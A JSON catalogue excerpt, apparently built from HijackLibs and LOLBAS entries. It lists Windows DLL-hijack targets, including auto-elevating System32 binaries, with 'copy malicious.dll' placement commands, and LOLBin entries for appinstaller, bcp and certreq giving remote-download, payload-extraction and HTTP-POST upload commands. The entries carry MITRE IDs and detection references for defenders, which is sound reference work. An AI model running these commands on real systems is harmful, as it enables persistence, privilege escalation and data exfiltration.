    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious wsmsvc.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wsmsvc.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\winrs.exe\\\"\"\n\n# wsmsvc.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\winrs.exe (Sideloading)\n- %SYSTEM32%\\wsmanhttpconfig.exe (Sideloading)\n- %SYSTEM32%\\wsmprovhost.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-wsmsvc.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "wsmsvc.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "wsmsvc.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-wsmsvc",
    "name": "wsmsvc.dll",
    "namespace": "windows:dllhijack:wsmsvc",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wsmsvc.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious wtsapi32.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wtsapi32.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\appvclient.exe\\\"\"\n\n# wtsapi32.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\appvclient.exe (Sideloading)\n- %SYSTEM32%\\bdeuisrv.exe (Sideloading)\n- %SYSTEM32%\\customshellhost.exe (Sideloading)\n- %SYSTEM32%\\magnify.exe (Sideloading)\n- %SYSTEM32%\\mblctr.exe (Sideloading)\n- %SYSTEM32%\\mdmappinstaller.exe (Sideloading)\n- %SYSTEM32%\\raserver.exe (Sideloading)\n- %SYSTEM32%\\rdpclip.exe (Sideloading)\n- %SYSTEM32%\\rdpinput.exe (Sideloading)\n- %SYSTEM32%\\rdpinit.exe (Sideloading)\n- %SYSTEM32%\\rdpshell.exe (Sideloading)\n- %SYSTEM32%\\rdvghelper.exe (Sideloading)\n- %SYSTEM32%\\sdclt.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\securityhealthservice.exe (Sideloading)\n- %SYSTEM32%\\sethc.exe (Sideloading)\n- %SYSTEM32%\\slui.exe (Sideloading)\n- %SYSTEM32%\\systemsettingsadminflows.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\wusa.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n\n**Acknowledgement:** Austin Worline\n",
    "_source": "windows-dllhijack-wtsapi32.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "wtsapi32.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "wtsapi32.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-wtsapi32",
    "name": "wtsapi32.dll",
    "namespace": "windows:dllhijack:wtsapi32",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wtsapi32.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious wwancfg.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wwancfg.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# wwancfg.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-wwancfg.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "wwancfg.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "wwancfg.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-wwancfg",
    "name": "wwancfg.dll",
    "namespace": "windows:dllhijack:wwancfg",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wwancfg.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious wwapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\wwapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# wwapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-wwapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "wwapi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "wwapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-wwapi",
    "name": "wwapi.dll",
    "namespace": "windows:dllhijack:wwapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wwapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious wxmsw313u_aui_vc_custom.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Audacity\\\\wxmsw313u_aui_vc_custom.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Audacity\\\\audacity.exe\\\"\"\n\n# wxmsw313u_aui_vc_custom.dll\n\n**Vendor:** wxWidgets\n\n**Expected Location:** %PROGRAMFILES%\\Audacity\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Audacity\\audacity.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-wxmsw313u-aui-vc-custom.md",
    "author": "Jai Minton",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "wxmsw313u_aui_vc_custom.dll — Sideloading hijacking (wxWidgets)",
    "execution": {
      "template": "wxmsw313u_aui_vc_custom.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-wxmsw313u-aui-vc-custom",
    "name": "wxmsw313u_aui_vc_custom.dll",
    "namespace": "windows:dllhijack:wxmsw313u-aui-vc-custom",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://x.com/CyberRaiju/status/1914454438116540702"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/wxmsw313u-aui-vc-custom.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious x32bridge.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\x32bridge.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"x32dbg.exe\\\"\"\n\n# x32bridge.dll\n\n**Vendor:** x64dbg\n\n**Vulnerable Executables:**\n- x32dbg.exe (Sideloading)\n",
    "_source": "windows-dllhijack-x32bridge.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "x32bridge.dll — Sideloading hijacking (x64dbg)",
    "execution": {
      "template": "x32bridge.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-x32bridge",
    "name": "x32bridge.dll",
    "namespace": "windows:dllhijack:x32bridge",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.trendmicro.com/en_th/research/23/b/investigating-the-plugx-trojan-disguised-as-a-legitimate-windows.html"
      },
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2020/11/04/a-new-apt-uses-dll-side-loads-to-killlsomeone/?cmp=30728"
      },
      {
        "label": "Reference",
        "url": "https://unit42.paloaltonetworks.com/plugx-variants-in-usbs/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/x32bridge.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious xmllite.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\xmllite.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\certreq.exe\\\"\"\n\n# xmllite.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\certreq.exe (Sideloading)\n- %SYSTEM32%\\ddodiag.exe (Sideloading)\n- %SYSTEM32%\\deviceenroller.exe (Sideloading)\n- %SYSTEM32%\\dmcfghost.exe (Sideloading)\n- %SYSTEM32%\\dmclient.exe (Sideloading)\n- %SYSTEM32%\\dmomacpmo.exe (Sideloading)\n- %SYSTEM32%\\dxcap.exe (Sideloading)\n- %SYSTEM32%\\dxpserver.exe (Sideloading)\n- %SYSTEM32%\\mdmdiagnosticstool.exe (Sideloading)\n- %SYSTEM32%\\mousocoreworker.exe (Sideloading)\n- %SYSTEM32%\\musnotificationux.exe (Sideloading)\n- %SYSTEM32%\\musnotifyicon.exe (Sideloading)\n- %SYSTEM32%\\omadmclient.exe (Sideloading)\n- %SYSTEM32%\\psr.exe (Sideloading)\n- %SYSTEM32%\\resetengine.exe (Sideloading)\n- %SYSTEM32%\\sppsvc.exe (Sideloading)\n- %SYSTEM32%\\systemreset.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\tracerpt.exe (Sideloading)\n- %SYSTEM32%\\upfc.exe (Sideloading)\n- %SYSTEM32%\\usocoreworker.exe (Sideloading)\n- %SYSTEM32%\\vsgraphicsdesktopengine.exe (Sideloading)\n- %SYSTEM32%\\vsgraphicsremoteengine.exe (Sideloading)\n- %SYSTEM32%\\wbengine.exe (Sideloading)\n- %SYSTEM32%\\compmgmtlauncher.exe (Environment Variable)\n- %SYSTEM32%\\explorer.exe (Environment Variable)\n- %SYSTEM32%\\filehistory.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft\\Edge\\Application\\msedge.exe (Environment Variable)\n- %PROGRAMFILES%\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n\n**Acknowledgement:** Michał Kucharski\n",
    "_source": "windows-dllhijack-xmllite.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "xmllite.dll — Sideloading, Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "xmllite.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-xmllite",
    "name": "xmllite.dll",
    "namespace": "windows:dllhijack:xmllite",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/xmllite.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious xolehlp.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\xolehlp.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\msdtc.exe\\\"\"\n\n# xolehlp.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\msdtc.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-xolehlp.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "xolehlp.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "xolehlp.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-xolehlp",
    "name": "xolehlp.dll",
    "namespace": "windows:dllhijack:xolehlp",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/xolehlp.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious xpsservices.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\xpsservices.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\printfilterpipelinesvc.exe\\\"\"\n\n# xpsservices.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\printfilterpipelinesvc.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-xpsservices.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "xpsservices.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "xpsservices.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "process-manip"
    ],
    "id": "windows-dllhijack-xpsservices",
    "name": "xpsservices.dll",
    "namespace": "windows:dllhijack:xpsservices",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/xpsservices.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious xwizards.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\xwizards.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\devicepairingwizard.exe\\\"\"\n\n# xwizards.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\devicepairingwizard.exe (Environment Variable)\n- %SYSTEM32%\\rasphone.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-xwizards.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "xwizards.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "xwizards.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-xwizards",
    "name": "xwizards.dll",
    "namespace": "windows:dllhijack:xwizards",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/xwizards.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious xwtpw32.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\xwtpw32.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\devicepairingwizard.exe\\\"\"\n\n# xwtpw32.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\devicepairingwizard.exe (Environment Variable)\n- %SYSTEM32%\\rasphone.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-xwtpw32.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "xwtpw32.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "xwtpw32.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-xwtpw32",
    "name": "xwtpw32.dll",
    "namespace": "windows:dllhijack:xwtpw32",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/xwtpw32.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious zlibwapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\DS Clock\\\\zlibwapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\DS Clock\\\\dsclock.exe\\\"\"\n\n# zlibwapi.dll\n\n**Vendor:** zlib\n\n**Expected Location:** %PROGRAMFILES%\\DS Clock\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\DS Clock\\dsclock.exe (Sideloading)\n\n**Acknowledgement:** MalwareHunterTeam\n\n**Acknowledgement:** Still Hsu\n",
    "_source": "windows-dllhijack-zlibwapi.md",
    "author": "Still Hsu",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "zlibwapi.dll — Sideloading hijacking (zlib)",
    "execution": {
      "template": "zlibwapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-zlibwapi",
    "name": "zlibwapi.dll",
    "namespace": "windows:dllhijack:zlibwapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://twitter.com/malwrhunterteam/status/1859316170773397966"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/b8d38fc9f4560719fa64227e4b25b732b22602cb596d44cb38418a196c3340be"
      },
      {
        "label": "Reference",
        "url": "https://github.com/Still34/malware-lab/tree/main/reworkshop/2024-11-24"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/zlibwapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# appinstaller\n\nappinstaller is a Windows LOLBin. Tool used for installation of AppX/MSIX applications on Windows 10 Located at: C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.11.2521.0_x64__8wekyb3d8bbwe\\AppInstaller.exe.\n",
    "_source": "appinstaller.md",
    "allowed-tools": [
      "appinstaller"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Wade Hickey",
    "capabilities": [
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Tool used for installation of AppX/MSIX applications on Windows 10 Located at: C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.11.2521.0_x64__8wekyb3d8bbwe\\AppInstaller.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/dns_query/dns_query_win_lolbin_appinstaller.yml"
      }
    ],
    "examples": [
      {
        "description": "AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL and is saved in INetCache. (Download file from Internet)",
        "command": "start ms-appinstaller://?source={REMOTEURL:.exe}"
      }
    ],
    "execution": {
      "template": "appinstaller",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "windows-download-appinstaller",
    "install": [
      {
        "method": "choco",
        "package_name": "appinstaller",
        "commands": [
          "choco install appinstaller"
        ]
      }
    ],
    "mitre_ids": [
      "T1105"
    ],
    "name": "appinstaller",
    "namespace": "windows:download:appinstaller",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1333900137232523264",
        "url": "https://twitter.com/notwhickey/status/1333900137232523264"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# bcp\n\nbcp is a Windows LOLBin. Microsoft SQL Server Bulk Copy Program utility for importing and exporting data between SQL Server instances and data files. Located at: C:\\Program Files\\Microsoft SQL Server\\Client SDK\\ODBC\\170\\Tools\\Binn\\bcp.exe; C:\\Program Files\\Microsoft SQL Server\\Client SDK\\ODBC\\130\\Tools\\Binn\\bcp.exe; C:\\Program Files\\Microsoft SQL Server\\Client SDK\\ODBC\\110\\Tools\\Binn\\bcp.exe.\n",
    "_source": "bcp.md",
    "allowed-tools": [
      "bcp"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Mahir Ali Khan",
    "capabilities": [
      "network.transfer.download"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Microsoft SQL Server Bulk Copy Program utility for importing and exporting data between SQL Server instances and data files. Located at: C:\\Program Files\\Microsoft SQL Server\\Client SDK\\ODBC\\170\\Tools\\Binn\\bcp.exe; C:\\Program Files\\Microsoft SQL Server\\Client SDK\\ODBC\\130\\Tools\\Binn\\bcp.exe; C:\\Program Files\\Microsoft SQL Server\\Client SDK\\ODBC\\110\\Tools\\Binn\\bcp.exe.",
    "detections": [
      {
        "type": "ioc",
        "description": "Process creation of bcp.exe with queryout or Out parameter"
      },
      {
        "type": "ioc",
        "description": "bcp.exe writing executable files to temp or users directories"
      },
      {
        "type": "ioc",
        "description": "Network connections from bcp.exe to SQL Server followed by file creation"
      },
      {
        "type": "ioc",
        "description": "Event ID 4688 - Process creation for bcp.exe"
      },
      {
        "type": "ioc",
        "description": "Event ID 4663 - File system access by bcp.exe"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_bcp_export_data.yml"
      }
    ],
    "examples": [
      {
        "description": "Export binary payload stored in SQL Server database to file system. (Extract malicious executable from database storage to local file system for execution.)",
        "command": "bcp \"SELECT payload_data FROM database.dbo.payloads WHERE id=1\" queryout \"C:\\Windows\\Temp\\payload.exe\" -S localhost -T -c"
      }
    ],
    "execution": {
      "template": "bcp",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdout",
      "remote"
    ],
    "global_vars": {},
    "id": "windows-download-bcp",
    "install": [
      {
        "method": "choco",
        "package_name": "bcp",
        "commands": [
          "choco install bcp"
        ]
      }
    ],
    "mitre_ids": [
      "T1105"
    ],
    "name": "bcp",
    "namespace": "windows:download:bcp",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "bcp-utility",
        "url": "https://docs.microsoft.com/en-us/sql/tools/bcp-utility"
      },
      {
        "label": "",
        "url": "https://asec.ahnlab.com/en/61000/"
      },
      {
        "label": "",
        "url": "https://asec.ahnlab.com/en/78944/"
      },
      {
        "label": "attacking-mssql-servers",
        "url": "https://www.huntress.com/blog/attacking-mssql-servers"
      },
      {
        "label": "attacking-mssql-servers-pt-ii",
        "url": "https://www.huntress.com/blog/attacking-mssql-servers-pt-ii"
      },
      {
        "label": "",
        "url": "https://news.sophos.com/en-us/2024/08/07/sophos-mdr-hunt-tracks-mimic-ransomware-campaign-against-organizations-in-india/"
      },
      {
        "label": "",
        "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# certreq\n\ncertreq is a Windows LOLBin. Used for requesting and managing certificates Located at: C:\\Windows\\System32\\certreq.exe; C:\\Windows\\SysWOW64\\certreq.exe.\n",
    "_source": "certreq.md",
    "allowed-tools": [
      "certreq"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "David Middlehurst",
    "capabilities": [
      "network.transfer.download",
      "network.transfer.upload"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Used for requesting and managing certificates Located at: C:\\Windows\\System32\\certreq.exe; C:\\Windows\\SysWOW64\\certreq.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_susp_certreq_download.yml"
      },
      {
        "type": "ioc",
        "description": "certreq creates new files"
      },
      {
        "type": "ioc",
        "description": "certreq makes POST requests"
      }
    ],
    "examples": [
      {
        "description": "Send the specified file (penultimate argument) to the specified URL via HTTP POST and save the response to the specified txt file (last argument). (Download file from Internet)",
        "command": "CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE} {PATH:.txt}"
      },
      {
        "description": "Send the specified file (last argument) to the specified URL via HTTP POST and show response in terminal. (Upload)",
        "command": "CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE}"
      }
    ],
    "execution": {
      "template": "certreq",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "encryption",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-download-certreq",
    "install": [
      {
        "method": "choco",
        "package_name": "certreq",
        "commands": [
          "choco install certreq"
        ]
      }
    ],
    "mitre_ids": [
      "T1105"
    ],
    "name": "certreq",
    "namespace": "windows:download:certreq",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "certreq",
        "url": "https://dtm.uk/certreq"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
